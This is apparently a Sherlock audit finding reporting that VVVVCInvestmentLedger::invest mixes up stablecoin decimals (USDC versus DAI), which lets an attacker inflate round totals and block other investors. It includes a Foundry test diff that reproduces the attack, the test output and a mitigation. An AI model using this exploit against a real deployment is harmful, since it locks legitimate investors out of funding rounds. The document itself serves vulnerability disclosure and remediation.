befree3x - Allowing users to invest in stable coins with different decimals can lead to incorrect storage of invested amount on chain

[sherlock-admin4]

befree3x

Medium

Allowing users to invest in stable coins with different decimals can lead to incorrect storage of invested amount on chain

Summary

The protocol allows a user to invest in a project via the function VVVVCInvestmentLedger::invest where he can control the address of the paymentTokenAddress and the amount of token to invest amountToInvest. This can lead to incorrect storage of invested amounts by the user inside the VVVVCInvestmentLedger contract when the user mixes up his investment with different stable coins having different decimals, e.g. USDC and DAI.

Root Cause

For each investment of a kyc address, the protocol stores the total amount invested minus fee for a specific round inside the variable kycAddressInvestedThisRound and totalInvestedThisRound.

function invest(InvestParams memory _params) external {
...


// update kyc address and total amounts invested for this investment round (in stablecoin terms)
kycAddressInvestedPerRound[_params.kycAddress][
   _params.investmentRound
] += postFeeStableAmountEquivalent;
totalInvestedPerRound[_params.investmentRound] += postFeeStableAmountEquivalent;


// transfer tokens from msg.sender to this contract (in payment token terms)
IERC20(_params.paymentTokenAddress).safeTransferFrom(
   msg.sender,
   address(this),
   _params.amountToInvest
);


...

Then, the amountToInvest in terms of paymentTokenAddress is transfered from the user to the VVVVCInvestmentLedger contract.
If a user invests into the protocol first using USDC but afterward changing to DAI, the amount stored in kycAddressInvestedThisRound and totalInvestedThisRound will be wrong as it does not take into consideration the decimal differences of the invested stable tokens.

Internal pre-conditions

N/A

External pre-conditions

A user invests using at least two different stable coins with different decimals.

Attack Path

A malicious user can fill up rapidly the round allocation limit without spending a lot of money.
He could then block any user from investing into a specific round.
Below is the scenario that'll be demonstrated in the PoC.

• Attacker invests 1000 USDC into round 1
• Attacker invests 10110 * 1e6 of DAI token into round 1
• Another user tries to invest 2 USDC into round 1 without success

Impact

The total invested amount for a specific round can be easily manipulated by an attacker, and as a consequence, could block other users from investing into the protocol.

PoC

The following change can be applied the the following files:

• VVVVCTestBase.sol

diff --git a/vvv-platform-smart-contracts/test/vc/VVVVCTestBase.sol b/vvv-platform-smart-contracts/test/vc/VVVVCTestBase.sol
index bd784ed..c124d29 100644
--- a/vvv-platform-smart-contracts/test/vc/VVVVCTestBase.sol
+++ b/vvv-platform-smart-contracts/test/vc/VVVVCTestBase.sol
@@ -14,6 +14,7 @@ abstract contract VVVVCTestBase is Test {
    VVVAuthorizationRegistry AuthRegistry;
    VVVVCInvestmentLedger LedgerInstance;
    MockERC20 PaymentTokenInstance;
+    MockERC20 DAIPaymentTokenInstance;
    MockERC20 ProjectTokenInstance;
    VVVVCTokenDistributor TokenDistributorInstance;
@@ -31,6 +32,7 @@ abstract contract VVVVCTestBase is Test {
    uint256 tokenDistributorManagerKey = 1236;
    uint256 testSignerKey = 12345;
    uint256 sampleUserKey = 1234567;
+    uint256 anotherSampleUserKey = 123456710;
    uint256 sampleKycAddressKey = 12345678;
    uint256 projectTokenProxyWalletKey = 12345679;
@@ -40,6 +42,7 @@ abstract contract VVVVCTestBase is Test {
    address testSigner = vm.addr(testSignerKey);
    address[] testSignerArray = [testSigner];
    address sampleUser = vm.addr(sampleUserKey);
+    address anotherSampleUser = vm.addr(anotherSampleUserKey);
    address sampleKycAddress = vm.addr(sampleKycAddressKey);
    address[] projectTokenProxyWallets = [
        vm.addr(projectTokenProxyWalletKey),
@@ -93,6 +96,7 @@ abstract contract VVVVCTestBase is Test {
        }
        vm.deal(sampleUser, 10 ether);
+        vm.deal(anotherSampleUser, 10 ether);
        vm.deal(sampleKycAddress, 10 ether);
    }
@@ -195,6 +199,40 @@ abstract contract VVVVCTestBase is Test {
        return params;
    }
+    function generateInvestParamsForSpecificPaymentTokenWithSignature(
+        uint256 _investmentRound,
+        uint256 _investmentRoundLimit,
+        uint256 _investmentAmount,
+        uint256 _investmentAllocation,
+        uint256 _exchangeRateNumerator,
+        uint256 _feeNumerator,
+        address _kycAddress,
+        uint256 _investmentRoundStartTimestamp,
+        uint256 _investmentRoundEndTimestamp,
+        address _paymentToken
+    ) public view returns (VVVVCInvestmentLedger.InvestParams memory) {
+        VVVVCInvestmentLedger.InvestParams memory params = VVVVCInvestmentLedger.InvestParams({
+            investmentRound: _investmentRound,
+            investmentRoundLimit: _investmentRoundLimit,
+            investmentRoundStartTimestamp: _investmentRoundStartTimestamp,
+            investmentRoundEndTimestamp: _investmentRoundEndTimestamp,
+            paymentTokenAddress: _paymentToken,
+            kycAddress: _kycAddress,
+            kycAddressAllocation: _investmentAllocation,
+            amountToInvest: _investmentAmount,
+            exchangeRateNumerator: _exchangeRateNumerator,
+            feeNumerator: _feeNumerator,
+            deadline: block.timestamp + 1 hours,
+            signature: bytes("placeholder")
+        });
+
+        bytes memory sig = getEIP712SignatureForInvest(ledgerDomainSeparator, investmentTypehash, params);
+
+        params.signature = sig;
+
+        return params;
+    }
+
    function investAsUser(address _investor, VVVVCInvestmentLedger.InvestParams memory _params) public {
        vm.startPrank(_investor, _investor);
        PaymentTokenInstance.approve(address(LedgerInstance), _params.amountToInvest);
@@ -202,6 +240,13 @@ abstract contract VVVVCTestBase is Test {
        vm.stopPrank();
    }
+    function investAsUserWithSpecificPaymentToken(address _investor, VVVVCInvestmentLedger.InvestParams memory _params, MockERC20 paymentTokenInstance) public {
+        vm.startPrank(_investor, _investor);
+        paymentTokenInstance.approve(address(LedgerInstance), _params.amountToInvest);
+        LedgerInstance.invest(_params);
+        vm.stopPrank();
+    }
+
    function batchInvestAsUser(
        address _investor,
        uint256[] memory _investmentRoundIds,

• VVVVCInvestmentLedger.unit.t.sol:

diff --git a/vvv-platform-smart-contracts/test/vc/VVVVCInvestmentLedger.unit.t.sol b/vvv-platform-smart-contracts/test/vc/VVVVCInvestmentLedger.unit.t.sol
index f2fc825..7a62c92 100644
--- a/vvv-platform-smart-contracts/test/vc/VVVVCInvestmentLedger.unit.t.sol
+++ b/vvv-platform-smart-contracts/test/vc/VVVVCInvestmentLedger.unit.t.sol
@@ -18,6 +18,7 @@ contract VVVVCInvestmentLedgerUnitTests is VVVVCTestBase {
        ProjectTokenInstance = new MockERC20(18);
        PaymentTokenInstance = new MockERC20(6); //usdc has 6 decimals
+        DAIPaymentTokenInstance = new MockERC20(18); // DAI has 18 decimals
        //deploy auth registry (deployer is default admin)
        AuthRegistry = new VVVAuthorizationRegistry(defaultAdminTransferDelay, deployer);
@@ -52,6 +53,7 @@ contract VVVVCInvestmentLedgerUnitTests is VVVVCTestBase {
        investmentTypehash = LedgerInstance.INVESTMENT_TYPEHASH();
        PaymentTokenInstance.mint(sampleUser, paymentTokenMintAmount); //10k tokens
+        DAIPaymentTokenInstance.mint(sampleUser, 10_000 * 1e18); //10k tokens
        generateUserAddressListAndDealEtherAndToken(PaymentTokenInstance);
@@ -288,6 +290,72 @@ contract VVVVCInvestmentLedgerUnitTests is VVVVCTestBase {
        );
    }
+    function testMaliciousUserInvestmentWithMultipleStableTokensBlockingOtherUserToInvest() public {
+        // The sampleUser first invests with USDC with 6 decimals
+        VVVVCInvestmentLedger.InvestParams memory params = generateInvestParamsWithSignature(
+            sampleInvestmentRoundIds[0], // Round id = 1
+            investmentRoundSampleLimit,
+            sampleAmountsToInvest[0], // User invests 1000 USDC
+            userPaymentTokenDefaultAllocation,
+            exchangeRateNumerator,
+            feeNumerator,
+            sampleKycAddress,
+            activeRoundStartTimestamp,
+            activeRoundEndTimestamp
+        );
+
+        investAsUser(sampleUser, params);
+
+        // The total invested for round 1 of this sampleKycAddress is now 900 USDC due to fee already deducted for the protocol
+        uint256 kycAddressInvestedThisRound =
+            LedgerInstance.kycAddressInvestedPerRound(params.kycAddress, params.investmentRound);
+        uint256 totalInvestedThisRound = LedgerInstance.totalInvestedPerRound(params.investmentRound);
+        assertTrue(kycAddressInvestedThisRound == 900 * 1e6);
+        assertTrue(totalInvestedThisRound == 900 * 1e6);
+
+        // Now, the sampleUser will invest in DAI, with the an amount 10110 * 1e6, which is only 1.011e-8 DAI in value
+        VVVVCInvestmentLedger.InvestParams memory newParams = generateInvestParamsForSpecificPaymentTokenWithSignature(
+            sampleInvestmentRoundIds[0], // round id 1
+            investmentRoundSampleLimit,
+            10110 * 1e6, // User invests only 1.011e-8 DAI
+            userPaymentTokenDefaultAllocation,
+            exchangeRateNumerator,
+            feeNumerator,
+            sampleKycAddress,
+            activeRoundStartTimestamp,
+            activeRoundEndTimestamp,
+            address(DAIPaymentTokenInstance)
+        );
+
+        investAsUserWithSpecificPaymentToken(sampleUser, newParams, DAIPaymentTokenInstance);
+
+        uint256 updatedKycAddressInvestedThisRound =
+            LedgerInstance.kycAddressInvestedPerRound(params.kycAddress, params.investmentRound);
+        uint256 updatedTotalInvestedThisRound = LedgerInstance.totalInvestedPerRound(params.investmentRound);
+        // the real amount invested should be only 900 USDC + 1.011e-8 DAI
+        // however, we got 9999 in terms of USDC in terms of USDC after deducing the fee
+        assertTrue(updatedKycAddressInvestedThisRound == 9.999 * 1e9); // we're getting close to the allocation limit
+        assertTrue(updatedTotalInvestedThisRound == 9.999 * 1e9);
+
+        // Now, no one can invest into the round any more, event with only 2 USDC
+        VVVVCInvestmentLedger.InvestParams memory anotherNewParams = generateInvestParamsWithSignature(
+            sampleInvestmentRoundIds[0], // Round id = 1
+            investmentRoundSampleLimit,
+            2e6, // User invests only 2 USDC
+            userPaymentTokenDefaultAllocation,
+            exchangeRateNumerator,
+            feeNumerator,
+            sampleKycAddress,
+            activeRoundStartTimestamp,
+            activeRoundEndTimestamp
+        );
+
+        vm.startPrank(users[1], users[1]);
+        vm.expectRevert(VVVVCInvestmentLedger.ExceedsAllocation.selector);
+        LedgerInstance.invest(anotherNewParams);
+        vm.stopPrank();
+    }
+
    /**
     * @notice Tests that a user cannot invest when the investment round is not active and the InactiveInvestmentRound error is thrown, when the round has not yet started
     */

• Then, run the test case with forge test --mt testMaliciousUserInvestmentWithMultipleStableTokensBlockingOtherUserToInvest, which should return:

Ran 1 test for test/vc/VVVVCInvestmentLedger.unit.t.sol:VVVVCInvestmentLedgerUnitTests
[PASS] testMaliciousUserInvestmentWithMultipleStableTokensBlockingOtherUserToInvest() (gas: 261962)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.19ms (2.29ms CPU time)

Mitigation

The protocol could clearly whitelist the address of the stable coin which is considered as the payment token for the investment of each kyc address, for example, inside a well defined mapping:

mapping(address => address) public allowedPaymentTokenPerKycAddress;

This will help to avoid storing the amount of invested token in mutiple decimals.